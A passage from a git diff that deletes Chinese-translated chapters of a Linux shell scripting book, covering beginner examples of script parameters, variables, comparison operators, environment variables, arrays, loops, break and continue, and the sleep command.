writable. -Is empty. - -guest1 $ script4 empty-noread -empty-noread is a file. -Is not readable. -Is empty. -``` - -这个下一个脚本显示了如何确定传递给它的参数数量: - -## 第一章-剧本 5 - -```sh -#!/bin/sh -# -# 3/27/2017 -# -echo The number of parameters is: $# -exit 0 -``` - -让我们尝试几个例子: - -```sh -guest1 $ script5 -The number of parameters is: 0 - -guest1 $ script5 parm1 -The number of parameters is: 1 - -guest1 $ script5 parm1 Hello -The number of parameters is: 2 - -guest1 $ script5 parm1 Hello 15 -The number of parameters is: 3 - -guest1 $ script5 parm1 Hello 15 "A string" -The number of parameters is: 4 - -guest1 $ script5 parm1 Hello 15 "A string" lastone -The number of parameters is: 5 -``` - -### 类型 - -请记住,带引号的字符串被视为 1 个参数。这是传递包含空白字符的字符串的一种方式。 - -这个下一个脚本更详细地展示了如何处理多个参数: - -## 第一章-剧本 6 - -```sh -#!/bin/sh -# -# 3/27/2017 -# - -if [ $# -ne 3 ] ; then - echo "Usage: script6 parm1 parm2 parm3" - echo " Please enter 3 parameters." - - exit 255 -fi - -echo Parameter 1: $1 -echo Parameter 2: $2 -echo Parameter 3: $3 - -exit 0 -``` - -这个脚本的行没有编号,因为它相当简单。`$#`包含传递给脚本的参数数量。 - -# 总结 - -在这一章中,我们看了脚本设计的基础。如何使一个脚本可执行显示为创建一个信息`Usage`消息。返回代码的重要性以及参数的使用和验证也包括在内。 - -下一章将详细介绍变量和条件语句。 \ No newline at end of file diff --git a/docs/linux-shell-script-bc/02.md b/docs/linux-shell-script-bc/02.md deleted file mode 100644 index 4a6f2d62..00000000 --- a/docs/linux-shell-script-bc/02.md +++ /dev/null @@ -1,670 +0,0 @@ -# 二、使用变量 - -本章将展示变量如何在 Linux 系统和脚本中使用。 - -本章涵盖的主题有: - -* 在脚本中使用变量 -* 使用条件语句验证参数 -* 字符串的比较运算符 -* 环境变量 - -# 在脚本中使用变量 - -变量只是某个值的占位符。值可以改变;但是,变量名将总是相同的。这里有一个简单的例子: - -```sh - a=1 -``` - -这个给变量`a`赋值`1`。这里还有一个: - -```sh - b=2 -``` - -要显示变量包含的内容,请使用`echo`语句: - -```sh - echo Variable a is: $a -``` - -### 注 - -注意变量名前面的`$`。这是显示变量内容所必需的。 - -如果在任何时候,你没有看到你期望的第一次检查`$`的结果。 - -下面是一个使用命令行的示例: - -```sh -$ a=1 -$ echo a -a -$ echo $a -1 -$ b="Jim" -$ echo b -b -$ echo $b -Jim -``` - -Bash 脚本中的所有变量都被认为是字符串。这与 C 等编程语言中的不同,在 C 语言中,一切都是强类型的。在前面的例子中,`a`和`b`是字符串,尽管它们看起来是整数。 - -这里有一个简短的脚本让我们开始: - -## 第二章-剧本 1 - -```sh -#!/bin/sh -# -# 6/13/2017 -# -echo "script1" - -# Variables -a="1" -b=2 -c="Jim" -d="Lewis" -e="Jim Lewis" -pi=3.141592 - -# Statements -echo $a -echo $b -echo $c -echo $d -echo $e -echo $pi -echo "End of script1" -``` - -这是在我的系统上运行时的输出: - -![Chapter 2 - Script 1](img/B07040_02_01.jpg) - -由于所有的变量都是字符串,我也可以这样做: - -```sh -a="1" -b="2" -``` - -当字符串包含空格时很重要,如这里的变量`d`和`e`。 - -### 注 - -我发现,如果我引用程序中的所有字符串,而不是数字,那么更容易跟踪我是如何使用变量的(也就是说,作为字符串或数字)。 - -# 使用条件语句验证参数 - -当使用变量作为数字时,变量可以与其他变量进行测试和比较。 - -下面列出了一些可以使用的运算符: - - -| - -操作员 - - | - -描述 - - | -| --- | --- | -| `-eq` | 这代表等于 | -| `-ne` | 这代表不等于 | -| `-gt` | 这代表大于 | -| `-lt` | 这代表不到 | -| `-ge` | 这代表大于或等于 | -| `-le` | 这表示小于或等于 | -| `!` | 这代表否定运算符 | - -让我们在下一个示例脚本中看看这个: - -## 第二章-剧本 2 - -```sh -#!/bin/sh -# -# 6/13/2017 -# -echo "script2" - -# Numeric variables -a=100 -b=100 -c=200 -d=300 - -echo a=$a b=$b c=$c d=$d # display the values - -# Conditional tests -if [ $a -eq $b ] ; then - echo a equals b -fi - -if [ $a -ne $b ] ; then - echo a does not equal b -fi - -if [ $a -gt $c ] ; then - echo a is greater than c -fi - -if [ $a -lt $c ] ; then - echo a is less than c -fi - -if [ $a -ge $d ] ; then - echo a is greater than or equal to d -fi - -if [ $a -le $d ] ; then - echo a is less than or equal to d -fi - -echo Showing the negation operator: -if [ ! $a -eq $b ] ; then - echo Clause 1 -else - echo Clause 2 -fi -echo "End of script2" -``` - -输出如下: - -![Chapter 2 - Script 2](img/B07040_02_02.jpg) - -为了帮助理解本章,请在您的系统上运行脚本。尝试改变变量值,看看它如何影响输出。 - -当我们查看文件时,我们在[第 1 章](01.html "Chapter 1. Getting Started with Shell Scripting")、*中看到了否定操作符。提醒一下,它否定了这个表达。你也可以说它与原始陈述的意思相反。* - -考虑以下示例: - -```sh -a=1 -b=1 -if [ $a -eq $b ] ; then - echo Clause 1 -else - echo Clause 2 -fi -``` - -当该脚本运行时,它将显示`Clause 1`。现在考虑一下: - -```sh -a=1 -b=1 -if [ ! $a -eq $b ] ; then # negation - echo Clause 1 -else - echo Clause 2 -fi -``` - -因为否定运算符的现在将显示`Clause 2`。在你的系统上试试吧。 - -# 字符串的比较运算符 - -字符串的比较不同于数字。以下是部分列表: - - -| - -操作员 - - | - -说明 - - | -| --- | --- | -| `=` | 这代表等于 | -| `!=` | 这代表不等于 | -| `>` | 这代表大于 | -| `<` | 这代表不到 | - -现在我们来看看*脚本 3* : - -## 第二章-剧本 3 - -```sh - 1 #!/bin/sh - 2 # - 3 # 6/13/2017 - 4 # - 5 echo "script3" - 6 - 7 # String variables - 8 str1="Kirk" - 9 str2="Kirk" - 10 str3="Spock" - 11 str3="Dr. McCoy" - 12 str4="Engineer Scott" - 13 str5="A" - 14 str6="B" - 15 - 16 echo str1=$str1 str2=$str2 str3=$str3 str4=$str4 - 17 - 18 if [ "$str1" = "$str2" ] ; then - 19 echo str1 equals str2 - 20 else - 21 echo str1 does not equal str2 - 22 fi - 23 - 24 if [ "$str1" != "$str2" ] ; then - 25 echo str1 does not equal str2 - 26 else - 27 echo str1 equals str2 - 28 fi - 29 - 30 if [ "$str1" = "$str3" ] ; then - 31 echo str1 equals str3 - 32 else - 33 echo str1 does not equal str3 - 34 fi - 35 - 36 if [ "$str3" = "$str4" ] ; then - 37 echo str3 equals str4 - 38 else - 39 echo str3 does not equal str4 - 40 fi - 41 - 42 echo str5=$str5 str6=$str6 - 43 - 44 if [ "$str5" \> "$str6" ] ; then # must escape the > - 45 echo str5 is greater than str6 - 46 else - 47 echo str5 is not greater than str6 - 48 fi - 49 - 50 if [[ "$str5" > "$str6" ]] ; then # or use double brackets - 51 echo str5 is greater than str6 - 52 else - 53 echo str5 is not greater than str6 - 54 fi - 55 - 56 if [[ "$str5" < "$str6" ]] ; then # double brackets - 57 echo str5 is less than str6 - 58 else - 59 echo str5 is not less than str6 - 60 fi - 61 - 62 if [ -n "$str1" ] ; then # test if str1 is not null - 63 echo str1 is not null - 64 fi - 65 - 66 if [ -z "$str7" ] ; then # test if str7 is null - 67 echo str7 is null - 68 fi - 69 echo "End of script3" - 70 -``` - -以下是我的系统的输出: - -![Chapter 2 - Script 3](img/B07040_02_03.jpg) - -让我们一行一行地看下去: - -* 线路`7` - `14`设置变量 -* 第`16`行显示它们的值 -* 第`18`行检查是否相等 -* 第`24`行使用不等运算符 -* 直到`50`的线是不言自明的 -* 第`44`行需要一些澄清。为了避免语法错误,`>`和`<`运算符必须转义 -* 这是通过使用反斜杠(或转义)`\`字符来实现的 -* 第`50`行显示了如何使用双括号来处理大于运算符。正如你在第`58`行看到的,它也适用于小于运算符。我更喜欢在需要的时候使用双括号。 -* 第`62`行显示如何检查一个字符串是否为`not null`。 -* 第`66`行显示如何检查一个字符串是否为`null`。 - -仔细看看这个脚本,以确保它对您来说是清晰的。还要注意的是`str7`显示为`null`,但是我们实际上并没有声明`str7`。在脚本中这样做是可以的,它不会产生错误。然而,作为编程的一般规则,在使用所有变量之前声明它们是一个好主意。你的代码会更容易被你和其他人理解和调试。 - -编程中经常出现的一种情况是有多个条件需要测试。例如,如果某件事是真的,而另一件事是真的,采取这个行动。这是通过使用逻辑运算符来实现的。 - -这里是*脚本 4* 来展示如何使用逻辑运算符: - -## 第二章-剧本 4 - -```sh -#!/bin/sh -# -# 5/1/2017 -# -echo "script4 - Linux Scripting Book" - -if [ $# -ne 4 ] ; then - echo "Usage: script4 number1 number2 number3 number4" - echo " Please enter 4 numbers." - - exit 255 -fi - -echo Parameters: $1 $2 $3 $4 - -echo Showing logical AND -if [[ $1 -eq $2 && $3 -eq $4 ]] ; then # logical AND - echo Clause 1 -else - echo Clause 2 -fi - -echo Showing logical OR -if [[ $1 -eq $2 || $3 -eq $4 ]] ; then # logical OR - echo Clause 1 -else - echo Clause 2 -fi - -echo "End of script4" -exit 0 -``` - -以下是我系统上的输出: - -![Chapter 2 - Script 4](img/B07040_02_04.jpg) - -使用几个不同的参数在您的系统上运行该脚本。每次尝试时,尝试确定输出是什么,然后运行它。尽可能多地这样做,直到每次都能做对为止。现在理解这个概念将非常有帮助,因为我们以后会进入更复杂的脚本。 - -现在让我们来看看*脚本 5* 如何执行数学: - -## 第二章-剧本 5 - -```sh -#!/bin/sh -# -# 5/1/2017 -# -echo "script5 - Linux Scripting Book" - -num1=1 -num2=2 -num3=0 -num4=0 -sum=0 - -echo num1=$num1 -echo num2=$num2 - -let sum=num1+num2 -echo "The sum is: $sum" - -let num1++ -echo "num1 is now: $num1" - -let num2-- -echo "num2 is now: $num2" - -let num3=5 -echo num3=$num3 - -let num3=num3+10 -echo "num3 is now: $num3" - -let num3+=10 -echo "num3 is now: $num3" - -let num4=50 -echo "num4=$num4" - -let num4-=10 -echo "num4 is now: $num4" - -echo "End of script5" -``` - -这是输出: - -![Chapter 2 - Script 5](img/B07040_02_05.jpg) - -正如你所看到的,变量设置和以前一样。`let`命令用于执行数学运算。注意不使用`$`前缀: - -```sh -let sum=num1+num2 -``` - -还要注意一些操作的速记方式。例如,假设您想要将 var `num1`增加`1`。您可以这样做: - -```sh -let num1=num1+1 -``` - -或者,您可以使用速记符号: - -```sh -let num1++ -``` - -运行该脚本并更改一些值,以了解数学运算是如何工作的。我们将在后面的章节中更详细地讨论这个问题。 - -# 环境变量 - -到目前为止我们只讨论了脚本的局部变量。还有系统范围的环境变量(env vars),它们在任何 Linux 系统中都扮演着非常重要的角色。这里有几个,读者可能已经知道其中一些: - - -| - -可变的 - - | - -作用 - - | -| --- | --- | -| `HOME` | 用户的主目录 | -| `PATH` | 搜索命令的目录 | -| `PS1` | 命令行提示 | -| `HOSTNAME` | 机器的主机名 | -| `SHELL` | 正在使用的 Shell | -| `USER` | 此会话的用户 | -| `EDITOR` | 用于`crontab`和其他程序的文本编辑器 | -| `HISTSIZE` | 历史命令将显示的命令数量 | -| `TERM` | 正在使用的命令行终端的类型 | - -这些大多是不言自明的,然而,我将提到几个。 - -`PS1`环境变量控制 shell 提示符作为命令行的一部分显示的内容。默认设置通常是类似`[guest1@big1 ~]$`的东西,并没有它本来的用处大。至少,一个好的提示至少会显示主机名和当前目录。 - -例如,当我完成本章时,我的系统上的提示如下所示: - -```sh - big1 ~/LinuxScriptingBook/chapters/chap2 $ -``` - -`big1`是我的系统的主机名,`~/LinuxScriptingBook/chapters/chap2`是当前目录。回想一下,颚化符`~`代表用户的`home`目录;所以在我的例子中,这扩展到: - -```sh - /home/guest1/LinuxScriptingBook/chapters/chap2 -``` - -`"$"`表示我在一个客户账户下运行。 - -为此,我的`PS1`环境变量在`/home/guest1/.bashrc`中定义如下: - -```sh - export PS1="\h \w $ " -``` - -`"\h"`显示主机名,`\w`显示当前目录。这是一个非常有用的提示,我已经用了很多年了。以下也是显示用户名的方法: - -```sh - export PS1="\u \h \w $ " -``` - -现在的提示如下所示: - -```sh - guest1 big1 ~/LinuxScriptingBook/chapters/chap2 $ -``` - -如果您更改了`.bashrc`文件中的`PS1`变量,请确保您在文件中的任何其他行之后进行更改。 - -例如,以下是我最初的`.bashrc`在我的`guest1`账户下包含的内容: - -```sh -# .bashrc - -# Source global definitions -if [ -f /etc/bashrc ]; then - . /etc/bashrc -fi - -# User specific aliases and functions -``` - -把你的`PS1`定义放在这几行后面。 - -### 注 - -如果你每天登录很多不同的机器,我发现有一个`PS1`小技巧非常有用。这将在后面的章节中展示。 - -你可能已经注意到,在本书的例子中,我似乎并不总是使用一个好的`PS1`变量。为了节省空间,在书籍创作过程中对其进行了编辑。 - -`EDITOR`变量可能非常有用。这告诉系统使用哪个文本编辑器来编辑用户的`crontab` ( `crontab -e`)等。如果没有设置,它默认为 vi 编辑器。可以通过将其放入用户的`.bashrc`文件中进行更改。以下是我的根帐户的情况: - -```sh - export EDITOR=/lewis/bin64/kw -``` - -当我运行`crontab -l`(或`-e`)时,我个人写的文本编辑器出现,而不是 vi。非常方便! - -这里我们来看一下*脚本 6* ,它显示了我的`guest1`帐户下我的系统中的一些变量: - -## 第二章-剧本 6 - -```sh -#!/bin/sh -# -# 5/1/2017 -# -echo "script6 - Linux Scripting Book" - -echo HOME - $HOME -echo PATH - $PATH -echo HOSTNAME - $HOSTNAME -echo SHELL - $SHELL -echo USER - $USER -echo EDITOR - $EDITOR -echo HISTSIZE - $HISTSIZE -echo TERM - $TERM - -echo "End of script6" -``` - -输出如下: - -![Chapter 2 - Script 6](img/B07040_02_06.jpg) - -您也可以创建和使用自己的环境变量。这是 Linux 系统非常强大的特性。以下是我在`/root/.bashrc`文件中使用的一些例子: - -```sh -BIN=/lewis/bin64 -DOWN=/home/guest1/Downloads -DESK=/home/guest1/Desktop -JAVAPATH=/usr/lib/jvm/java-1.7.0-openjdk-1.7.0.99.x86_64/include/ -KW_WORKDIR=/root -L1=guest1@192.168.1.21 -L4=guest1@192.168.1.2 -LBCUR=/home/guest1/LinuxScriptingBook/chapters/chap2 -export BIN DOWN DESK JAVAPATH KW_WORKDIR L1 L4 LBCUR -``` - -* `BIN`:这是根目录下我的可执行文件和脚本的目录 -* `DOWN`:这是邮件附件等的下载目录 -* `DESK`:这是截图的下载目录 -* `JAVAPATH`:这是我写 Java 应用的时候要用的目录 -* `KW_WORKDIR`:这是我的编辑放工作文件的地方 -* `L1`和`L2`:这是我笔记本电脑的 IP 地址 -* `LBCUR`:这是我目前为这本书工作的目录 - -请务必导出您的变量,以便其他终端可以访问它们。当你做出改变时,也要记得提供你的`.bashrc`来源。在我的系统上,命令是: - -```sh - guest1 $ . /home/guest1/.bashrc -``` - -### 类型 - -别忘了命令开头的句号! - -我将在后面的章节中展示如何将这些环境变量与别名配对。例如,我的系统上的`bin` 命令是将当前目录更改为`/lewis/bin64`目录的别名。这是 Linux 系统中最强大的功能之一,然而,我总是惊讶于我没有看到它被更频繁地使用。 - -我们将在本章中介绍的最后一种类型的变量叫做数组。假设您想编写一个包含实验室中所有机器的 IP 地址的脚本。你可以这样做: - -```sh -L0=192.168.1.1 -L1=192.168.1.10 -L2=192.168.1.15 -L3=192.168.1.16 -L4=192.168.1.20 -L5=192.168.1.26 -``` - -这是可行的,事实上我在我的家庭办公室/实验室也做了类似的事情。然而,假设你有很多机器。使用数组可以让你的生活简单很多。 - -来看看*脚本 7* : - -## 第二章-剧本 7 - -```sh -#!/bin/sh -# -# 5/1/2017 -# -echo "script7 - Linux Scripting Book" - -array_var=(1 2 3 4 5 6) - -echo ${array_var[0]} -echo ${array_var[1]} -echo ${array_var[2]} -echo ${array_var[3]} -echo ${array_var[4]} -echo ${array_var[5]} - -echo "List all elements:" -echo ${array_var[*]} - -echo "List all elements (alternative method):" -echo ${array_var[@]} - -echo "Number of elements: ${#array_var[*]}" -labip[0]="192.168.1.1" -labip[1]="192.168.1.10" -labip[2]="192.168.1.15" -labip[3]="192.168.1.16" -labip[4]="192.168.1.20" - -echo ${labip[0]} -echo ${labip[1]} -echo ${labip[2]} -echo ${labip[3]} -echo ${labip[4]} - -echo "List all elements:" -echo ${labip[*]} - -echo "Number of elements: ${#labip[*]}" -echo "End of script7" -``` - -这里是我系统上的输出: - -![Chapter 2 - Script 7](img/B07040_02_07.jpg) - -在您的系统上运行这个脚本,并尝试使用它。如果你以前从未见过或使用过数组,不要让它们吓到你;你很快就会熟悉它们。这是另一个很容易忘记`${ array variable here }`语法的地方,所以如果脚本没有做你想做的事情(或者产生了一个错误),先检查一下。 - -当我们在下一章讨论循环时,我们将更详细地再次讨论数组。 - -# 总结 - -在本章中,我们介绍了如何声明和使用环境变量和局部变量。我们讨论了数学是如何进行的,以及如何使用数组。 - -我们还介绍了在脚本中使用变量。*脚本 1* 展示了如何分配变量并显示其值。*脚本 2* 展示了如何处理数字变量,*脚本 3* 展示了如何比较字符串。*脚本 4* 展示了逻辑运算符,*脚本 5* 展示了如何执行数学运算。*脚本 6* 展示了如何使用环境变量,*脚本 7* 展示了如何使用数组。 \ No newline at end of file diff --git a/docs/linux-shell-script-bc/03.md b/docs/linux-shell-script-bc/03.md deleted file mode 100644 index 03d4b2a0..00000000 --- a/docs/linux-shell-script-bc/03.md +++ /dev/null @@ -1,612 +0,0 @@ -# 三、使用循环和睡眠命令 - -本章说明如何使用循环来执行迭代操作。它还展示了如何在脚本中创建延迟。读者将学习如何在脚本中使用循环和睡眠命令。 - -本章涵盖的主题如下: - -* 标准`for`、`while`和`until`循环。 -* 循环的嵌套,以及如何不混淆。 -* 介绍`sleep`命令,以及如何使用该命令在脚本中造成延迟。 -* 克服使用`sleep`的常见陷阱。 - -# 使用循环 - -任何编程语言最重要的特征之一是能够多次执行一个或多个任务,然后在满足结束条件时停止。这是通过使用循环来实现的。 - -下一节展示了一个非常简单的`while`循环的例子: - -## 第三章-剧本 1 - -```sh -#!/bin/sh -# -# 5/2/2017 -# -echo "script1 - Linux Scripting Book" -x=1 -while [ $x -le 10 ] -do - echo x: $x - let x++ -done - -echo "End of script1" - -exit 0 -``` - -而这里是输出: - -![Chapter 3 - Script 1](img/B07040_03_01.jpg) - -我们从将变量`x`设置为`1`开始。`while`语句检查`x`是否小于或等于`10`,如果是,运行`do`和`done`语句之间的命令。它将继续这样做,直到`x`等于`11`,在这种情况下,完成语句之后的行将运行。 - -在你的系统上运行这个。理解这个脚本非常重要,这样我们就可以继续进行更高级的循环。 - -让我们在下一节看看另一个脚本,看看您是否能确定它有什么问题。 - -## 第三章-剧本 2 - -```sh -#!/bin/sh -# -# 5/2/2017 -# -echo "script2 - Linux Scripting Book" - -x=1 -while [ $x -ge 0 ] -do - echo x: $x - let x++ -done - -echo "End of script2" - -exit 0 -``` - -感觉自由跳过这一个的运行,除非你真的想。仔细看`while`测试。它表示当`x`大于或等于`0`时,运行循环中的命令。`x`会不满足这个条件吗?不,它不是,这就是所谓的无限循环。不用担心;按 *Ctrl* + *C* 仍然可以结束脚本(按住 *Ctrl* 键,按 *C* )。这将终止脚本。 - -我想马上涵盖无限循环,因为您几乎肯定会不时这样做,我想让您知道如何在脚本发生时终止它。当我刚开始的时候,我确实这样做过几次。 - -好吧,让我们做些更有用的事情。假设您正在启动一个新项目,需要在系统上创建一些目录。您可以一次执行一个命令,或者在脚本中使用一个循环。 - -我们将在*脚本 3* 中看到这一点。 - -## 第三章-剧本 3 - -```sh -#!/bin/sh -# -# 5/2/2017 -# -echo "script3 - Linux Scripting Book" - -x=1 -while [ $x -le 10 ] -do - echo x=$x - mkdir chapter$x - let x++ -done -echo "End of script3" - -exit 0 -``` - -这个简单的脚本假设你从基本目录开始。当运行时,它将创建目录`chapter 1`到`chapter 10`,然后进行到底。 - -当运行对您的计算机进行更改的脚本时,最好在真正运行之前确保逻辑正确。例如,在运行这个之前,我注释掉了`mkdir`行。然后我运行脚本以确保它在显示`x`等于`10`后停止。然后,我取消了对该行的注释,并真实地运行了它。 - -# 屏幕操作 - -我们将在下一节看到另一个脚本,它使用一个循环将文本放在屏幕上: - -## 第三章-剧本 4 - -```sh -#!/bin/sh -# -# 5/2/2017 -# -echo "script4 - Linux Scripting Book" - -if [ $# -ne 1 ] ; then - echo "Usage: script4 string" - echo "Will display the string on every line." - exit 255 -fi - -tput clear # clear the screen - -x=1 -while [ $x -le $LINES ] -do - echo "********** $1 **********" - let x++ -done - -exit 0 -``` - -在执行此脚本之前,运行以下命令: - -```sh -echo $LINES -``` - -如果该终端的行数未显示,运行以下命令: - -```sh -export LINES=$LINES -``` - -然后继续运行脚本。以下是使用`script4` `Linux`运行时我的系统上的输出: - -![Chapter 3 - Script 4](img/B07040_03_02.jpg) - -好吧,所以我同意这可能不是非常有用,但它确实显示了一些事情。`LINES` env var 包含当前终端的当前行数(或行数)。这对于在更复杂的脚本中限制输出非常有用,这将在后面的章节中显示。这个例子也展示了如何在脚本中操作屏幕。 - -如果你需要导出`LINES`变量,你可以把它放在你的`.bashrc`文件中,并重新获取它。 - -我们将在下一节中查看另一个脚本: - -## 第三章-剧本 5 - -```sh -#!/bin/sh -# -# 5/2/2017 -# -# script5 - Linux Scripting Book - -tput clear # clear the screen - -row=1 -while [ $row -le $LINES ] -do - col=1 - while [ $col -le $COLUMNS ] - do - echo -n "#" - let col++ - done - echo "" # output a carriage return - let row++ -done - -exit 0 -``` - -这类似于*脚本 4* ,它显示了如何在终端范围内显示输出。请注意,您可能需要导出`COLUMNS`环境变量,就像我们导出`LINES`变量一样。 - -你可能注意到这个剧本有些不同。`while`语句里面有`while`语句。这被称为嵌套循环,在编程中经常使用。 - -我们从声明`row=1`开始,然后开始外部`while`循环。然后将`col` var 设置为`1`,然后启动内环。这个内部循环显示了行中每一列的字符。当到达行尾时,循环结束,`echo`语句输出回车。`row` var 递增,然后过程再次开始。它在最后一行之后结束。 - -通过使用`LINES`和`COLUMNS`环境变量,只写入实际屏幕。您可以通过运行程序然后扩展终端来测试这一点。 - -当使用嵌套循环时,很容易混淆什么去哪里。这是我每次都尝试做的事情。当我第一次意识到程序(可以是脚本、C 或 Java 等)中需要一个循环时,我首先这样编写循环体: - -```sh - while [ condition ] - do - other statements will go here - done -``` - -这样我就不会忘记`done`语句,并且它也是正确排列的。如果我需要另一个循环,我只需要再做一次: - -```sh - while [ condition ] - do - while [ condition ] - do - other statements will go here - done - done -``` - -您可以根据需要嵌套任意多个循环。 - -# 缩进您的代码 - -这可能是谈论缩进的好时机。在过去(也就是 30 多年前),每个人都使用一个带有单间距字体的文本编辑器来编写他们的代码,因此只需一个空格缩进就可以相对容易地保持所有内容对齐。后来,当人们开始使用可变间距字体的文字处理器时,缩进变得越来越难看到,因此使用了更多的空格(或制表符)。我的建议是用你觉得最舒服的。然而,话虽如此,你可能不得不学习阅读和使用任何适合你公司的代码风格。 - -到目前为止,我们只讨论了`while`声明。现在让我们来看下一节中的`until`循环: - -## 第三章-剧本 6 - -```sh -#!/bin/sh -# -# 5/3/2017 -# -echo "script6 - Linux Scripting Book" - -echo "This shows the while loop" - -x=1 -while [ $x -lt 11 ] # perform the loop while the condition -do # is true - echo "x: $x" - let x++ -done - -echo "This shows the until loop" - -x=1 -until [ $x -gt 10 ] # perform the loop until the condition -do # is true - echo "x: $x" - let x++ -done - -echo "End of script6" - -exit 0 -``` - -输出: - -![Chapter 3 - Script 6](img/B07040_03_03.jpg) - -看看这个剧本。两个循环的输出是相同的;然而,情况恰恰相反。当条件为真时,第一个循环继续,第二个循环继续,直到条件为真。一个不那么微妙的差别,所以要注意。 - -# 使用 for 语句 - -另一种循环方式是使用`for`语句。它通常用于处理文件和其他列表。`for`循环的一般语法如下: - -```sh - for variable in list - do - some commands - done -``` - -该列表可以是字符串的集合,或者文件名通配符,等等。我们可以在下一节给出的例子中看到这一点。 - -## 第三章-剧本 7 - -```sh -#!/bin/sh -# -# 5/4/2017 -# -echo "script7 - Linux Scripting Book" - -for i in jkl.c bob Linux "Hello there" 1 2 3 -do - echo -n "$i " -done - -for i in script* # returns the scripts in this directory -do - echo $i -done - -echo "End of script7" -exit 0 -``` - -以及我系统的输出。这是我的`chap3`目录: - -![Chapter 3 - Script 7](img/B07040_03_04.jpg) - -下一个脚本显示了如何将`for`语句用于文件: - -## 第三章-剧本 8 - -```sh -#!/bin/sh -# -# 5/3/2017 -# -echo "script8 - Linux Scripting Book" - -if [ $# -eq 0 ] ; then - echo "Please enter at least 1 parameter." - exit 255 -fi - -for i in $* # the "$*" returns every parameter given -do # to the script - echo -n "$i " -done - -echo "" # carriage return -echo "End of script8" - -exit 0 -``` - -以下是输出: - -![Chapter 3 - Script 8](img/B07040_03_05.jpg) - -使用`for`语句还可以做一些其他的事情,更多信息请参考 Bash 的`man`页面。 - -# 提前离开循环 - -有时当你在编写一个脚本时,你会遇到一种情况,在结束条件满足之前,你想提前退出循环。这可以使用`break`和`continue`命令来完成。 - -下面是显示这些命令的脚本。我也在介绍`sleep`命令,这将在下一个脚本中详细讨论。 - -## 第三章-剧本 9 - -```sh -#!/bin/sh -# -# 5/3/2017 -# -echo "script9 - Linux Scripting Book" - -FN1=/tmp/break.txt -FN2=/tmp/continue.txt - -x=1 -while [ $x -le 1000000 ] -do - echo "x:$x" - if [ -f $FN1 ] ; then - echo "Running the break command" - rm -f $FN1 - break - fi - - if [ -f $FN2 ] ; then - echo "Running the continue command" - rm -f $FN2 - continue - fi - - let x++ - sleep 1 -done - -echo "x:$x" - -echo "End of script9" - -exit 0 -``` - -以下是我的系统的输出: - -![Chapter 3 - Script 9](img/B07040_03_06.jpg) - -在你的系统上运行这个,在另一个终端`cd`到`/tmp`目录。运行命令`touch continue.txt`并观察发生了什么。如果您愿意,您可以多次这样做(请记住,向上箭头会调用前面的命令)。注意当点击`continue`命令时,变量`x`不会增加。这是因为控制立即回到`while`语句。 - -现在运行`touch break.txt`命令。脚本将结束,并且`x`没有增加。这是因为`break`立即导致循环结束。 - -`break`和`continue`命令在脚本中经常使用,所以一定要玩这个命令,以便真正了解发生了什么。 - -# 睡眠命令 - -我之前向展示了`sleep`命令,让我们更详细地了解一下。一般来说,`sleep`命令用于在脚本中引入延迟。例如,在之前的脚本中,如果我没有使用`sleep`,输出会滚动得太快,看不到发生了什么。 - -`sleep`命令需要一个参数来指示延迟时间。例如,`sleep 1`表示引入一秒的延迟。这里有几个例子: - -```sh -sleep 1 # sleep 1 second (the default is seconds) -sleep 1s # sleep 1 second -sleep 1m # sleep 1 minute -sleep 1h # sleep 1 hour -sleep 1d # sleep 1 day -``` - -`sleep`命令实际上比这里显示的功能多一点。更多信息请参考`man sleep`页面。 - -下面是一个脚本,更详细地展示了`sleep`是如何工作的: - -## 第三章-剧本 10 - -```sh -#!/bin/sh -# -# 5/3/2017 -# -echo "script10 - Linux Scripting Book" - -echo "Sleeping seconds..." -x=1 -while [ $x -le 5 ] -do - date - let x++ - sleep 1 -done - -echo "Sleeping minutes..." -x=1 -while [ $x -le 2 ] -do - date - let x++ - sleep 1m -done - -echo "Sleeping hours..." -x=1 -while [ $x -le 2 ] -do - date - let x++ - sleep 1h -done - -echo "End of script10" -exit 0 -``` - -而输出: - -![Chapter 3 - Script 10](img/B07040_03_07.jpg) - -你可能注意到了,我按 *Ctrl* + *C* 终止脚本,因为我不想等 2 个小时才完成。这种性质的脚本在 Linux 系统中被广泛用于监控进程、监视文件等等。 - -使用`sleep`命令时有一个需要提及的常见陷阱。 - -### 注 - -请记住`sleep`命令会在脚本中引入延迟。明确一点,当你编码一个`sleep 60`的时候,是指引入 60 秒的延迟;这并不意味着它将每 60 秒运行一次脚本。差别很大。 - -我们将在下一节中看到一个这样的例子: - -## 第三章-剧本 11 - -```sh -#!/bin/sh -# -# 5/3/2017 -# -echo "script11 - Linux Scripting Book" - -while [ true ] -do - date - sleep 60 # 60 seconds -done - -echo "End of script11" - -exit 0 -``` - -这是我系统上的输出。最终不同步并不需要那么长时间: - -![Chapter 3 - Script 11](img/B07040_03_08.jpg) - -对于绝大多数脚本来说,这永远不会成为问题。请记住,如果您试图完成的任务是时间关键的,比如每天晚上 12:00 运行一个命令,您可能需要考虑其他方法。注意`crontab`也不会这样做,因为在它运行命令之前有大约 1 或 2 秒的延迟。 - -# 观看流程 - -本章还有几个我们应该看的话题。假设您希望在系统上运行的进程结束时收到警报。 - -这里有一个脚本,当指定的过程结束时通知用户。请注意,还有其他方法可以完成这项任务,这只是一种方法。 - -## 第三章-剧本 12 - -```sh -#!/bin/sh -# -# 5/3/2017 -# -echo "script12 - Linux Scripting Book" - -if [ $# -ne 1 ] ; then - echo "Usage: script12 process-directory" - echo " For example: script12 /proc/20686" - exit 255 -fi - -FN=$1 # process directory i.e. /proc/20686 -rc=1 -while [ $rc -eq 1 ] -do - if [ ! -d $FN ] ; then # if directory is not there - echo "Process $FN is not running or has been terminated." - let rc=0 - else - sleep 1 - fi -done - -echo "End of script12" -exit 0 -``` - -要查看该脚本的运行情况,请运行以下命令: - -* 在终端中,运行`script9` -* 在另一个终端运行`ps auxw | grep script9`。输出会是这样的: - - ```sh - guest1 20686 0.0 0.0 106112 1260 pts/34 S+ 17:20 0:00 /bin/sh ./script9 - guest1 23334 0.0 0.0 103316 864 pts/18 S+ 17:24 0:00 grep script9 - ``` - -* 使用来自`script9`(本例中为`20686`)的进程 ID,并将其作为运行`script12` : - - ```sh - $ script12 /proc/20686 - ``` - - 的参数 - -如果你愿意,你可以让它运行一会儿。最终回到正在运行的终端`script9`,用 *Ctrl* + *C* 终止。您将看到`script12`输出一条消息,然后也终止。请随意尝试这个,因为它包含了很多重要的信息。 - -您可能会注意到,在这个脚本中,我使用了一个变量`rc`,来确定何时结束循环。我可以使用`break`命令,就像我们在本章前面看到的那样。然而,使用一个控制变量(通常被称为)被认为是一种更好的编程风格。 - -当您已经开始一个命令,然后它花费的时间比您预期的要长时,这样的脚本会非常有用。 - 